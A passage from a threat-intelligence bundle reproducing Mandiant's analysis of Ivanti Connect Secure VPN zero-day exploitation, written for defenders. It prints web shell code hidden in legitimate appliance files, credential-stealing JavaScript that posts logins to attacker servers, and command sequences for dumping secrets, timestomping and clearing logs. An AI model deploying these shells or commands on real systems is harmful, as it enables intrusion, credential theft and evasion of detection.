(@xhr_get[1]..@xhr_get[1]+50)))\r\n\r\n}",
"pattern_type": "yara",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:49:37Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "misc"
}
],
"labels": [
"misp:name=\"yara\"",
"misp:meta-category=\"misc\"",
"misp:to_ids=\"True\""
],
"x_misp_context": "all"
},
{
"type": "note",
"spec_version": "2.1",
"id": "note--bca78d65-fde0-45e0-b223-18bc04e4ad20",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:51:28.000Z",
"modified": "2024-01-31T19:51:28.000Z",
"abstract": "Report from - https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation (1706730657)",
"content": "# Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation\r\n\r\n## Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation\r\n\r\nMatt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler McLellan Jan 31, 202420 min readThreat IntelligenceIncident ResponseUncategorized Groups (UNC Groups)Zero Day ThreatsVulnerabilitiesOn Jan. 12, 2024, Mandiant published a blog post detailing two high-impact zero-day vulnerabilities, CVE-2023-46805 and CVE-2024-21887, affecting Ivanti Connect Secure VPN (CS, formerly Pulse Secure) and Ivanti Policy Secure (PS) appliances. On Jan. 31, 2024, Ivanti disclosed two additional vulnerabilities impacting CS and PS devices, CVE-2024-21888 and CVE-2024-21893.\r\n\r\nThe vulnerabilities allow for an unauthenticated threat actor to execute arbitrary commands on the appliance with elevated privileges. As previously reported, Mandiant has identified zero-day exploitation of these vulnerabilities in the wild beginning as early as Dec. 3, 2023 by a suspected China-nexus espionage threat actor currently being tracked as UNC5221. \r\n\r\nMandiant has identified broad exploitation activity following the disclosure of the two vulnerabilities, both by UNC5221 and other uncategorized threat groups. Mandiant assesses that a significant portion of the post-advisory activity has been performed through automated methods.\r\n\r\nIn this follow-up blog post, we detail additional tactics, techniques, and procedures (TTPs) employed by UNC5221 and other threat groups during post-exploitation activity across our incident response engagements. We also detail new malware families and variants to previously identified malware families being used by UNC5221. We acknowledge the possibility that one or more related groups may be associated with the activity described in this blog post. It is likely that additional groups beyond UNC5221 have adopted one or more of these tools.\r\n\r\nThese observations have been supported through Mandiant's incident response engagements, working with Ivanti, and our partners. Mandiant is also providing additional recommendations for network defenders, including indicators of compromise (IOCs), and YARA rules.\r\n\r\n**Note:** Ivanti has released its first round of patches starting today, and it is scheduled to continue rolling out additional patches over the coming weeks. Ivanti recommends customers awaiting patches to apply the mitigation, run the external Integrity Checker Tool (ICT) to check for evidence of exploitation, and continue following the KB article to receive product updates as they become available. \r\n\r\n## Post Exploitation Activity Updates\r\n\r\n### Mitigation Bypass\r\n\r\nA mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked as BUSHWALK. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024. At this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the post-advisory mass exploitation activity. \r\n\r\n**Note:** The external ICT successfully detected the presence of the new web shell. We have observed the threat actor clean up traces of their activity and restore the system to a clean state after deploying BUSHWALK through the mitigation bypass technique. The ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat actor activity if they have returned the appliance to a clean state. In addition, the patches address and fix the mitigation bypass.\r\n\r\nSimilar to other web shells observed in this campaign, BUSHWALK is written in Perl and is embedded into a legitimate CS file, querymanifest.cgi. BUSHWALK provides a threat actor the ability to read or write to files to a server.\r\n\r\nBUSHWALK executes its malicious Perl function, validateVersion, if the web request platform parameter is SafariiOS. It uses Base64 and RC4 to decode and decrypt the threat actor\u2019s payload in the web request\u2019s command parameter.\r\n\r\nFigure 1: Entry point to BUSHWALK executionsub validateVersion {\r\n\r\n my ($rawdata) = @\\_;\r\n\r\n if ($rawdata ne ''){\r\n\r\n $rawdata =~ s/ /+/g;\r\n\r\n my $param0 = MIME::Base64::decode($rawdata);\r\n\r\n my $key = substr($param0, 0, 32);\r\n\r\n $key = RC4(\"<REDACTED>\", $key);\r\n\r\n my $data = substr($param0,32);\r\n\r\n $data = RC4($key, $data);\r\n\r\n my @param1 = split(\"@\",$data);\r\n\r\n my @action = split(\"=\",$param1[0]);\r\n\r\n if ($action[1] eq 'change') {\r\n\r\n my $changeData = (split(\"=\",$param1[1]))[1];\r\n\r\n changeVersion($changeData, $key);\r\n\r\n }\r\n\r\n elsif ($action[1] eq 'update'){\r\n\r\n my $fname = (split(\"=\",$param1[1]))[1];\r\n\r\n my $versionData = (split(\"#\",$param1[2]))[1];\r\n\r\n updateVersion($fname, $versionData);\r\n\r\n }\r\n\r\n else {\r\n\r\n print CGI::header(-type=>\"text/plain\", -status=> '404 Not Found');\r\n\r\n print \"error\";\r\n\r\n }\r\n\r\n exit;\r\n\r\n }\r\n\r\n else{\r\n\r\n return;\r\n\r\n }\r\n\r\n}\r\n\r\nThe decrypted payload determines if the web shell should read a file from the server or write a file to the server.\r\n\r\nIf the decrypted payload contains change, BUSHWALK calls the changeData function to read an arbitrary file from the compromised appliance. The malware extracts a file path from the buffer. The malware then opens and reads the file at the specified path and encrypts the file content with RC4 using the provided key.\r\n\r\nFigure 2: changeVersion function to read an arbitrary filesub changeVersion\r\n\r\n{\r\n\r\n my ($u\\_time,$key) = @\\_;\r\n\r\n my $o\\_fd = popen(*DUMP, $u\\_time, \"r\");\r\n\r\n my $ts;\r\n\r\n print CGI::header();\r\n\r\n while(<DUMP>) {\r\n\r\n $ts = $ts.$\\_;\r\n\r\n }\r\n\r\n $ts = RC4($key, $ts);\r\n\r\n my $tsc = MIME::Base64::encode\\_base64($ts);\r\n\r\n print $tsc;\r\n\r\n close(*DUMP);\r\n\r\n}\r\n\r\nIf the decrypted payload contains update, BUSHWALK calls the updateVersion function to write an arbitrary file to the server. It extracts a file path and the data to write to the file from the buffer. This new file data is then Base64-decoded and written to the file at the specified path.\r\n\r\nFigure 3: updateVersion function to write an arbitrary filesub updateVersion\r\n\r\n{\r\n\r\n my ($fname, $strbuf) = @\\_;\r\n\r\n $strbuf = MIME::Base64::decode($strbuf);\r\n\r\n CORE::open(my $file, \">>\",$fname) or return undef;\r\n\r\n syswrite($file, $strbuf);\r\n\r\n close($file);\r\n\r\n print CGI::header();\r\n\r\n print \"over\";\r\n\r\n}\r\n\r\n### LIGHTWIRE Variant\r\n\r\nMandiant has identified an additional variant of the LIGHTWIRE web shell that inserts itself into a legitimate component of the VPN gateway, compcheckresult.cgi.\r\n\r\nThe new sample utilizes the same GET parameters as the original LIGHTWIRE sample described in our first blog post. Mandiant recommends hunting for GET requests containing these parameters within available web logs, unallocated space, and memory images.\r\n\r\nFigure 4: LIGHTWIRE GET parameters/dana-na/auth/url\\_default/compcheckresult.cgi?comp=comp&compid=<obfuscated command>The new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable to $useCompOnly. Next, it will use the Perl tr operator to transform the string using a character-by-character translation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued command is executed by calling eval.\r\n\r\nFigure 5: Newly identified LIGHTWIRE variantmy $useCompOnly = \"<REDACTED>\";\r\n\r\n$useCompOnly =~ tr/<REDACTED>/<REDACTED>/; \r\neval{my $c=Crypt::RC4->new(decode\\_base64($useCompOnly));my $d=$c->RC4(decode\\_base64(CGI::param('compid')));eval $d;}or \r\ndo{$Main::remedy1 = \"Compatibility check: $@\";}\r\n\r\nThe original LIGHTWIRE sample detailed in our first blog post contains a simpler obfuscation routine. It will initialize an RC4 object and then immediately use the RC4 object to decrypt the issued command.\r\n\r\nFigure 6: Original LIGHTWIRE sampleeval{my $c=Crypt::RC4->new(\"<REDACTED>\");my \r\n$d=$c->RC4(decode\\_base64(CGI::param('compid')));eval $d;\r\n\r\n### CHAINLINE Web Shell\r\n\r\nAfter the initial exploitation of an appliance, Mandiant identified UNC5221 leveraging a custom web shell that Mandiant is tracking as CHAINLINE. CHAINLINE is a Python web shell backdoor that is embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.\r\n\r\nCHAINLINE was identified in the CAV Python package in the following path: /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py. This is the same Python package modified to support the WIREFIRE web shell.\r\n\r\nFigure 7: CHAINLINE web shell in health.py#\r\n\r\n# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved\r\n\r\n#\r\n\r\nimport base64\r\n\r\n \r\n\r\nfrom flask\\_restful import Resource, reqparse\r\n\r\nfrom flask import request\r\n\r\nimport subprocess\r\n\r\n \r\n\r\nRC4\\_KEY = \"<REDACTED>\"\r\n\r\n \r\n\r\n \r\n\r\ndef crypt(command: str):\r\n\r\n tmp = list(command)\r\n\r\n for i in range(len(tmp)):\r\n\r\n tmp[i] = chr(ord(tmp[i]) ^ ord(RC4\\_KEY[i % len(RC4\\_KEY)]))\r\n\r\n tmp = \"\".join(tmp)\r\n\r\n return tmp\r\n\r\n \r\n\r\n \r\n\r\nclass Health(Resource):\r\n\r\n def get(self):\r\n\r\n return {\"message\": \"method not allowed\"}, 201\r\n\r\n \r\n\r\n def post(self):\r\n\r\n parser = reqparse.RequestParser()\r\n\r\n parser.add\\_argument('stats', type=str)\r\n\r\n parser.add\\_argument('rates', type=str)\r\n\r\n args = parser.parse\\_args()\r\n\r\n command: str = args.stats\r\n\r\n command = crypt(base64.b64decode(command.encode(encoding=\"UTF-8\")).decode(encoding=\"UTF-8\"))\r\n\r\n result = subprocess.getoutput(command)\r\n\r\n result = base64.b64encode(crypt(result).encode(encoding=\"UTF-8\")).decode(encoding=\"UTF-8\")\r\n\r\n return {\"message\": 'ok', \"stats\": result}, 200\r\n\r\nUnlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called health.py, which is not a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled Python cache file may indicate the presence of CHAINLINE.\r\n\r\nUNC5221 registered a new API resource path to support the access of CHAINLINE at the REST endpoint /api/v1/cav/client/health. This was accomplished by importing the maliciously created Health API resource and then calling the add\\_resource() class method on the FLASK-RESTful Api object within /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/\\_\\_init\\_\\_.py.\r\n\r\nFigure 8 shows an excerpt of the relevant file modified to support CHAINLINE.\r\n\r\nFigure 8: Python CAV package modified to support CHAINLINE### FRAMESTING Web Shell\r\n\r\nMandiant has identified an additional web shell that we are tracking as FRAMESTING. FRAMESTING is a Python web shell embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.\r\n\r\nFigure 9: category.py modified to handle POST requests for FRAMESTINGdef post(self):\r\n\r\n import zlib\r\n\r\n import simplejson as json\r\n\r\n try:\r\n\r\n dskey='<REDACTED>'\r\n\r\n dsid=request.cookies.get('DSID')\r\n\r\n data=None\r\n\r\n if dsid and len(dsid)>=64:\r\n\r\n data=dsid+'=='\r\n\r\n else:\r\n\r\n data = zlib.decompress(request.data)\r\n\r\n data=json.loads(data).get('data')\r\n\r\n if data:\r\n\r\n import base64\r\n\r\n from Cryptodome.Cipher import AES\r\n\r\n if dskey not in globals():globals()[dskey]={}\r\n\r\n globals()[dskey].pop('result',None)\r\n\r\n aes=AES.new(dskey.encode(), AES.MODE\\_ECB)\r\n\r\n result={'message':'','action':0}\r\n\r\n exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),{'request':request,'cache':globals()[dskey]},locals())\r\n\r\n result=globals()[dskey].get('result',result)\r\n\r\n return result, 200\r\n\r\n except:\r\n\r\n pass\r\n\r\nFRAMESTING was identified in the CAV Python package in the following path: /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py. Note that this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells.\r\n\r\nWhen installed, the threat actor can access FRAMESTING web shell at the REST endpoint /api/v1/cav/client/categories with a POST request. Note that the legitimate categories endpoint only accepts GET requests.\r\n\r\nThe web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the command stored in the value of a cookie named DSID from the current HTTP request. If the cookie is not present or is not of the expected length, it will attempt to decompress zlib data within the request's POST data. Lastly, FRAMESTING will then pass the decrypted POST data into a Python exec() statement to dynamically execute additional Python code.\r\n\r\nNote that DSID is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN sessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.\r\n\r\n### Updates to ZIPLINE Analysis\r\n\r\nSince our previous blog post, Mandiant has completed additional analysis into the ZIPLINE passive backdoor. ZIPLINE makes use of extensive functionality to ensure the authentication of its custom protocol used to establish command and control (C2). This section covers the cryptographic, authentication, and data protocol leveraged by ZIPLINE.\r\n\r\n#### Cryptography\r\n\r\nZIPLINE uses AES-128-CBC to encrypt data in both directions. The corresponding encryption and decryption keys are derived from key material sent by the server and combined with hard-coded data embedded in the malware. Once combined, the SHA1 hashing algorithm is used to produce a 20-byte long cryptographically strong array and the first 16 bytes of it are used as the AES-128 keys.\r\n\r\nThe key material, received by the attacker is defined, as follows:\r\n\r\nFigure 10: Key material structuretypedef struct tag\\_key\\_material\\_t {\r\n\r\n uint8\\_t decryption\\_keydata[20];\r\n\r\n uint8\\_t encryption\\_keydata[20];\r\n\r\n} key\\_material\\_t;\r\n\r\nThe relevant 20-byte long keydata material is then combined with the hard-coded string, and the SHA1 hash is calculated on the buffer. \r\n\r\nThe truncated first 16 bytes of the SHA1 hash are then used for both the AES-128 and the HMAC keys (HMAC is described in more details in the next section).\r\n\r\nThe starting value for the AES initialization vectors (IVs) for the decryption and encryption operations are the first 16 bytes of the decryption\\_keydata and encryption\\_keydata arrays. \r\n\r\nOnce produced, both the decryption and the encryption round keys (11 round keys each, including the original AES-128 keys at indices zero) and the current IV for the AES-128 algorithm stay in memory for the lifecycle of the process. This makes it possible to harvest the keys and the IVs possible from process memory. Because the protocol used by ZIPLINE is stateful, the messages cannot be decrypted and authenticated out of order. Additionally, the process that contains the passive backdoor is designed to have a relatively short lifespan, terminating after each of the processed commands and likely respawned by the malware ecosystem running on the compromised host.\r\n\r\n#### Authentication\r\n\r\nZIPLINE uses HMAC (Hash-based Message Authentication Code) along with the SHA1 hashing algorithm to enforce data integrity. The HMAC key is the same as the corresponding AES-128 key (note, there are two: one for decryption and one for encryption). The HMAC design in ZIPLINE uses a transfer state, which denotes the index of the current message starting from 0. Every received or sent packet increments the index and the value is appended to the message as part of the authentication mechanism. That way messages out of order would not be able to authenticate, which would lead to termination of the communication with the C2 server.\r\n\r\nFigure 11 shows an example of a message, which is color-coded to show the parts that participate in the HMAC calculations.\r\n\r\nFigure 11: Example messageIn Figure 11, a 32-byte long message is received from the C2 server. ZIPLINE then decrypts the first 16 bytes (blue), appends the still encrypted second part (red) of the message, and adds four bytes at the end (black), followed by the message index, which in this case is set to one. The HMAC algorithm then calculates the SHA1 hash of the buffer in Figure 11, and then compares it with the SHA1 hash attached at the end of every message sent and received.\r\n\r\n#### Data Protocol\r\n\r\nZIPLINE communicates with its C2 server using a custom stateful binary protocol. The communication begins with the C2 server connecting to the compromised host and sending a message, structured as shown in Figure 12.\r\n\r\nFigure 12: ZIPLINE header structuretypedef struct tag\\_header\\_t {\r\n\r\n char signature[21];\r\n\r\n struct tag\\_key\\_material key\\_material;\r\n\r\n} header\\_t;\r\n\r\nThe signature is expected to be the string SSH-2.0-OpenSSH\\_0.3xx, followed by a structure that contains data for AES-128 and HMAC key generation (see the Cryptography). Next, the C2 sends an encrypted message that, once decrypted, follows the structure described in Figure 13.\r\n\r\nFigure 13: ZIPLINE message structuretypedef struct tag\\_message\\_t {\r\n\r\n uint16\\_t len; /* big endian number */\r\n\r\n uint8\\_t data[len]; /* variable size data */\r\n\r\n uint8\\_t hmac\\_sig[20];\r\n\r\n} message\\_t;\r\n\r\nAlthough the message structure is designed to be flexible, this instance of the malware expects the first message to specify length 0x10. Additionally, the data after the decryption must be exactly as shown in Figure 14 or the malware terminates the connection.\r\n\r\nFigure 14: Decrypted message structureIn the decrypted message in Figure 14, the size (note, it\u2019s a big endian number) is denoted by the first two bytes (blue), followed by an array of 16 bytes (red) that must contain exactly the values shown. In case of a mismatch, ZIPLINE will terminate the connection, which would also lead to process termination. The xx bytes shown in black are non-consequential padding values and the yy values (amber) specify the HMAC signature for the message.\r\n\r\nIf the first message passes the integrity checks, the malware first encrypts the buffer in Figure 14, and then sends it back to the C2 server. After that, it fetches another message, which is expected to have message\\_t.len equal to one. That message contains a single meaningful byte (apart from the padding and the HMAC signature) which is the index of the command to be executed.\r\n\r\nTable 1: ZIPLINE command ID**Command ID**\r\n\r\n**Operation**\r\n\r\n**Description**\r\n\r\n1\r\n\r\nFile Upload\r\n\r\nThe command contains the file path and which content to be sent to the connected host.\r\n\r\n2\r\n\r\nFile Download\r\n\r\nThe command contains the file path and its content to be saved on the compromised system.\r\n\r\n3\r\n\r\nReverse Shell\r\n\r\nA reverse shell is created using /bin/sh and the provided command is executed\r\n\r\n4\r\n\r\nProxy Server\r\n\r\nCreates a proxy server with an IP address provided as part of the command.\r\n\r\n5\r\n\r\nTunneling Server\r\n\r\nImplements a tunneling server, capable of simultaneously dispatching traffic between multiple endpoints.\r\n\r\nThe message must be formatted in the same way as the previous one with only the first 3 bytes being meaningful (the length and the command).\r\n\r\n#### Additional Findings\r\n\r\nZIPLINE is designed to fork itself twice and continue on its child processes. It also uses the setsid command to create a new session for its process, which effectively detaches it from any controlling terminal. Additionally, the malware closes the open handles except for the one associated with the current connection. The web process must be able to handle the SIGALRM signal because the malware executes the alarm command on a couple of occasions (delayed by three seconds). Additionally, the web process terminates itself after executing the specified command, which implies that it would be respawned by the ZIPLINE malware ecosystem on the compromised host in order to keep listening for incoming traffic.\r\n\r\n### WARPWIRE Variants\r\n\r\nMandiant has identified multiple new variants of WARPWIRE across our response engagements and in the wild. Across these variants, the primary purpose of them has remained to target plaintext passwords and usernames for exfiltration to a hard-coded C2 server.\r\n\r\nThe main change across these variants is how credentials are submitted to the hard-coded C2. In the majority of identified variants, the GET request has been replaced with a POST that submits the credentials in either the POST params or body, however, Mandiant has also identified variants that still utilize a GET request but now include the window.location.href as a submitted value. \r\n\r\nBased on the number of variants identified as well as suspected mass exploitation of the related vulnerabilities, Mandiant does not currently attribute all WARPWIRE variants to UNC5221. Figure 15-18 shows excerpts of select WARPWIRE samples.\r\n\r\nFigure 15: WARPWIRE variantvar ivanti = document.frmLogin.username.value;\r\n\r\nvar login = document.frmLogin.password.value;\r\n\r\nvar action = window.location.href;\r\n\r\nif (ivanti!==\"\" && login!==\"\") {\r\n\r\n var ivanti = btoa(ivanti);\r\n\r\n var login = btoa(login);\r\n\r\n var action = btoa(action);\r\n\r\n const url = \"https://duorhytm[.]fun/\";\r\n\r\n var xhr = new XMLHttpRequest();\r\n\r\n xhr.open(\"POST\", url, false);\r\n\r\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n\r\n var params =\"ivanti=\"+ivanti +\"&login=\"+ login+\"&action=\"+action;\r\n\r\n xhr.send(params);\r\n\r\nFigure 16: WARPWIRE variantvar a = document.frmLogin.username.value;\r\n\r\nvar b = document.frmLogin.password.value;\r\n\r\nvar c = window.location.href;\r\n\r\n \r\n\r\nif (a !== \"\" && b !== \"\") {\r\n\r\n \r\n\r\nvar aEncoded = btoa(a);\r\n\r\n var bEncoded = btoa(b);\r\n\r\n var cEncoded = btoa(c);\r\n\r\n const url = \"https://clicko[.]click/?a=\" + aEncoded + \"&b=\" + bEncoded + \"&c=\" + cEncoded;\r\n\r\n var xhr = new XMLHttpRequest();\r\n\r\n xhr.open(\"GET\", url, false);\r\n\r\n xhr.send(null);\r\n\r\nFigure 17: WARPWIRE variant var uParam = document.frmLogin.username.value;\r\n\r\n var pParam = document.frmLogin.password.value;\r\n\r\n if (uParam && pParam) {\r\n\r\n var xhr = new XMLHttpRequest();\r\n\r\n const url = `https://www.miltonhouse[.]nl/pub/opt/processor.php`\r\n\r\n const body = `h=${btoa(document.location.hostname)}&u=${btoa(uParam)}&p=${btoa(pParam)}`;\r\n\r\n xhr.open('POST', url, true);\r\n\r\n xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\r\n\r\n xhr.send(body);\r\n\r\nFigure 18: WARPWIRE variant var ivanti = document.frmLogin.username.value;\r\n\r\n var login = document.frmLogin.password.value;\r\n\r\n var action = window.location.href;\r\n\r\n if (ivanti!==\"\" && login!==\"\") {\r\n\r\n var ivanti = btoa(ivanti);\r\n\r\n var login = btoa(login);\r\n\r\n var action = btoa(action);\r\n\r\n const url = \"https://cpanel.netbar[.]org/assets/js/xml.php\";\r\n\r\n var xhr = new XMLHttpRequest();\r\n\r\n xhr.open(\"POST\", url, false);\r\n\r\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n\r\n var params =\"ivanti=\"+ivanti +\"&login=\"+ login+\"&action=\"+action;\r\n\r\n xhr.send(params);\r\n\r\n }\r\n\r\n### Usage of Open-Source Tooling\r\n\r\nAcross our incident response engagements, Mandiant identified multiple open-source tools utilized to support post-exploitation activity on Ivanti CS appliances. These tools were associated with internal network reconnaissance, lateral movement, and data exfiltration within a limited number of victim environments.\r\n\r\nTable 2: Open source tooling identified**Tool Name****Description**IMPACKET\r\n\r\nIMPACKET is a Python library that allows for interaction with various network protocols. It is particularly effective in environments that rely on Active Directory and related Microsoft Windows network services.\r\n\r\nCRACKMAPEXEC\r\n\r\nCRACKMAPEXEC is a post-exploitation tool against Microsoft Windows environments. It is recognized for its lateral movement capabilities.\r\n\r\nIODINE\r\n\r\nIODINE is a network traffic tunneler that allows for tunneling of IPv4 traffic over DNS.\r\n\r\nENUM4LINUX\r\n\r\nENUM4LINUX is a Linux Perl script for enumerating data from Windows and Samba hosts.\r\n\r\n### Additional TTPs\r\n\r\n#### Configuration and Cache Theft\r\n\r\nMandiant has identified evidence consistent with dumping the running configuration and cache after the initial exploitation of an CS appliance using the built-in dsls command found on CS appliances. The resulting output is saved to a tar archive masquerading as a randomly generated 10-character CSS file within the directory: /home/webserver/htdocs/dana-na/css/. \r\n\r\nWe have identified the following sequence of commands (Figure 19) executed on a compromised appliance to dump the cache and configuration into the CSS directory.\r\n\r\nFigure 19: Command sequence to dump the cache and configurationexport LD\\_LIBRARY\\_PATH=/lib:/home/lib;\r\n\r\nexport PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/bin;\r\n\r\necho \r\nZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSBhcyBlCmY9b3BlbignL2hvbWUvYmluL2RzbHMnLCd \r\nyYicpCmM9Zi5yZWFkKCkKZi5jbG9zZSgpCnA9Yy5maW5kKGJ5dGVzLmZyb21oZXgoJzhkYmQ2MGZmZm \r\nZmZicpKQppZiBwPjA6CiBkPWJ5dGVhcnJheShjKQogaWYgZFtwLTJdPT0weDc0OgogIGRbcC0yXT0we \r\nGViCiAgZj1vcGVuKCcvdG1wL3Rvb2xzJywnd2InKQogIGYud3JpdGUoZCkKICBmLmNsb3NlKCkKICBz \r\nPSdmJwogZWxzZToKICBzPSdpJwplbHNlOgogcz0nbicKcHJpbnQocyxlbmQ9Jycp\r\n\r\n|base64 -d|/home/venv3/bin/python;\r\n\r\nchmod +x /tmp/tools;\r\n\r\n/tmp/tools -S -R -B /vc >/tmp/test1.txt;\r\n\r\nrm -rf /tmp/tools;\r\n\r\ntouch /tmp/testt -r /home/webserver/htdocs/dana-na/css;\r\n\r\nmount -o rw,remount /;\r\n\r\ntar czf /home/webserver/htdocs/dana-na/css/<REDACTED>.css /tmp/test1.txt;\r\n\r\nrm -rf /tmp/test1.txt;\r\n\r\nThe command sequence executes a Base64-encoded Python script that writes a patched version of the dsls binary (/home/bin/dsls) into /tmp/tools. At a high level, the patched binary allows the dsls command to display sensitive information that is typically redacted. Figure 20 shows the Base64-decoded Python script.\r\n\r\nFigure 20: Base64-decoded Python scriptfrom base64 import b64encode as e\r\n\r\nf=open('/home/bin/dsls','rb')\r\n\r\nc=f.read()\r\n\r\nf.close()\r\n\r\np=c.find(bytes.fromhex('8dbd60ffffff'))\r\n\r\nif p>0:\r\n\r\n d=bytearray(c)\r\n\r\n if d[p-2]==0x74:\r\n\r\n d[p-2]=0xeb\r\n\r\n f=open('/tmp/tools','wb')\r\n\r\n f.write(d)\r\n\r\n f.close()\r\n\r\n s='f'\r\n\r\n else:\r\n\r\n s='i'\r\n\r\nelse:\r\n\r\n s='n'\r\n\r\nprint(s,end='')\r\n\r\nThe script looks for the byte sequence 0x8dbd60ffffff within the file /home/bin/dsls. This is a legitimate executable on Ivanti Connect Secure appliances used for displaying the running configuration and cache information. If the byte sequence is found (p>0), it creates a byte array (d) from the file contents (c) for further modification.\r\n\r\nThe logic then checks if the byte 2 positions before the found byte sequence (p-2) is equal to 0x74. If it is equal to 0x74, it replaces that byte with 0xeb. Lastly, the script rewrites the modified byte array into /tmp/tools. \r\n\r\nThe modification of the binary turns a conditional JMP instruction (0x74) into an unconditional JMP (0xeb). The patch forces the execution flow to bypass a check in the legitimate dsls binary responsible for redacting sensitive data. This allows for the patched binary to display the value of fields that is typically redacted in the output with <secure>.\r\n\r\nThe command sequence continues to do the following:\r\n\r\n\r\n1. Execute /tmp/tools (patched version of /home/bin/dsls) to dump the configuration and cache to /tmp/test1.txt \r\n2. Remove /tmp/tools \r\n3. Create an empty file /tmp/testt with the modified and access timestamps of /home/webserver/htdocs/dana-na/css/. This will be used later to timestomp the CSS directory with its original timestamps. \r\n4. Remount the file system as read-write\r\n5. Archive the dump into a CSS file within /home/webserver/htdocs/dana-na/css/\r\n6. Delete /tmp/test1.txt\r\n\r\nMandiant identified efforts to remove evidence of compromise after the configuration and cache dump were downloaded from the server by the threat actor. The command sequence in Figure 21 was issued by exploiting CVE-2023-46805 and CVE-2024-21887.\r\n\r\nFigure 21: Command sequence to cover up evidence of compromiserm -rf /home/webserver/htdocs/dana-na/css/<REDACTED>.css;\r\n\r\ntouch -r /tmp/testt /home/webserver/htdocs/dana-na/css;\r\n\r\nrm -rf /tmp/testt;\r\n\r\necho > /data/var/dlogs/config\\_rest\\_server.log;\r\n\r\nmount -o ro,remount/\r\n\r\nThe command sequence does the following:\r\n\r\n\r\n1. Delete the staged configuration and cache dump\r\n2. Timestomp the CSS directory with the modified and access timestamps of /tmp/testt\r\n3. Clear the config\\_rest\\_server.log file that would record exploitation attempts of CVE-2023-46805 and CVE-2024-21887\r\n4. Remount the file system in read-only mode, reverting it back to its original state\r\n\r\nAdditionally, we have identified the configuration and dump being saved to compressed files located in the following paths:\r\n\r\n\r\n* /runtime/webserver/htdocs/dana-na/help/logo.gif\r\n* /runtime/webserver/htdocs/dana-na/help/login.gif\r\n\r\nIvanti has published additional guidance on remediating the risk resulting from the cache and configuration dump. This includes resetting local account credentials, resetting API keys, and the revocation of certificates.\r\n\r\n#### CAV Web Server Log Exfiltration\r\n\r\nMandiant has identified evidence of exfiltration of the CAV web server logs staged in /runtime/webserver/htdocs/dana-na/help/logo.gif. The path does not legitimately contain logo.gif.\r\n\r\nFigure 22: Command sequence leading to exfiltration of the CAV web server logs/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif;\r\n\r\n/usr/bin/printf 'GIF'>/home/webserver/htdocs/dana-na/help/logo.gif;\r\n\r\ncat /data/var/dlogs/cav\\_webserv.log|/usr/bin/base64>>/home/webserver/htdocs/dana-na/help/logo.gif\r\n\r\nThe command redirects the GIF header into logo.gif and then appends the Base64-encoded contents of /data/var/dlogs/cav\\_webserv.log into the same file.\r\n\r\ncav\\_webserv.log contains web requests and logs maintained by uWSGI for the CAV REST API. Mandiant has identified multiple modifications to the associated CAV Python package to include web shells such as WIREFIRE, CHAINLINE, and FRAMESTING. Any requests to those web shells would be logged in this file.\r\n\r\n#### ICT Manipulation\r\n\r\nThe system's internal integrity checker tool can help detect modifications or additions made to the file system. Mandiant has identified instances where the external ICT detected a modification to a Python package associated with the internal ICT: /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg. \r\n\r\nWe identified a single line commented out in scanmgr.py that disables the execution of the scanner.\r\n\r\nFigure 23: Scanner execution commented out in scanmgr.pyAdditionally, Volexity published a blog post on Jan. 18, 2024 detailing another method leveraged to tamper with the built-in integrity checker tool on a compromised Ivanti Connect Secure appliance.\r\n\r\nMandiant has observed threat actors tampering with the internal ICT by modifying the manifest file located at /home/etc/manifest. This file maintains a list of the expected files on the system and its associated SHA256 hash. The internal ICT verifies the manifest file\u2019s signature using a public key.\r\n\r\nIn some instances, the threat actor failed to create a new digital signature of the manifest file. This causes the internal ICT to fail and generates event ID SYS32042 in the system event log, indicating that the manifest file is bad.\r\n\r\nThe full list of event IDs associated with the integrity checker tool can be found in Table 3.\r\n\r\nTable 3: Integrity checker tool event IDs**Event ID**\r\n\r\n**Summarized Description**\r\n\r\nSYS32039\r\n\r\nNew files were found with the Internal Integrity Check Tool.\r\n\r\nSYS32040\r\n\r\nA modified file was found with the Internal Integrity Check Tool.\r\n\r\nSYS32041\r\n\r\nThe Integrity Check Tool manifest file is missing.\r\n\r\nSYS32042\r\n\r\nThe Integrity Checker Tool manifest file is bad.\r\n\r\nSYS32087\r\n\r\nA built-in integrity scan has started.\r\n\r\nSYS32088\r\n\r\nA built-in integrity scan has been completed.\r\n\r\n#### System Log Clearing\r\n\r\nIn some instances, the threat actor used a legitimate system utility, /home/bin/logClear.pl to clear system logs. The clearing of system logs via this method generates event ID ADM20599 in the admin event log for each log type cleared. There are six (6) system logs available on an Ivanti Connect Secure appliance.\r\n\r\nTable 4: System log descriptions**Log Name**\r\n\r\n**File 